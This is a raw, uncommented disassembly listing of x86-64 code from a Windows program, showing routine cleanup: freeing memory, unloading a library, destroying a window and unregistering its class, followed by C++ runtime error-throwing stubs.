call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, qword [0x140198ab0]
test rax, rax
je 0x140052c23
mov rbx, qword [rax + 0x98]
jmp 0x140052c26
mov rbx, rsi
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x140052c40
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140198ab0]
mov qword [rdi + 0x80], rsi
mov qword [rdi + 0x90], rsi
test rax, rax
je 0x140052c59
dec dword [rax + 0xf4]
mov rdx, qword [0x140198aa0]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x140198ab0]
mov qword [0x140198ab0], rbx
call fcn.140005f20
mov qword [0x140198ab0], rsi
test rbx, rbx
je 0x140052cb0
mov rcx, rbx
call fcn.14001ae20
mov rax, qword [0x140198ab0]
test rax, rax
je 0x140052ca1
dec dword [rax + 0xf4]
mov rdx, qword [0x140198aa0]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.140053280
mov rcx, qword [0x140198ac0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm14, xmmword [rsp + 0x600]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x610]
movaps xmm12, xmmword [rsp + 0x620]
movaps xmm11, xmmword [rsp + 0x630]
movaps xmm10, xmmword [rsp + 0x640]
movaps xmm9, xmmword [rsp + 0x650]
movaps xmm8, xmmword [rsp + 0x660]
movaps xmm7, xmmword [rsp + 0x670]
movaps xmm6, xmmword [rsp + 0x680]
mov r15, qword [rsp + 0x6c0]
movaps xmm15, xmmword [rsp + 0x5f0]
mov rcx, qword [rbp + 0x4e8]
xor rcx, rsp
call fcn.140126e80
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x438], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x448], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x418], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x428], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053280
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140052d38
call fcn.1400340a0
int3
call fcn.140002fc0
int3
call fcn.1400340a0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.140002fc0
int3
call fcn.1400340a0
int3
call fcn.1400340a0
int3
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea rcx, str.exists
call fcn.140035370
int3
call fcn.1400340a0
int3
call fcn.1400340a0
int3
call fcn.1400340a0
int3
call fcn.1400340a0
int3
call fcn.1400340a0
int3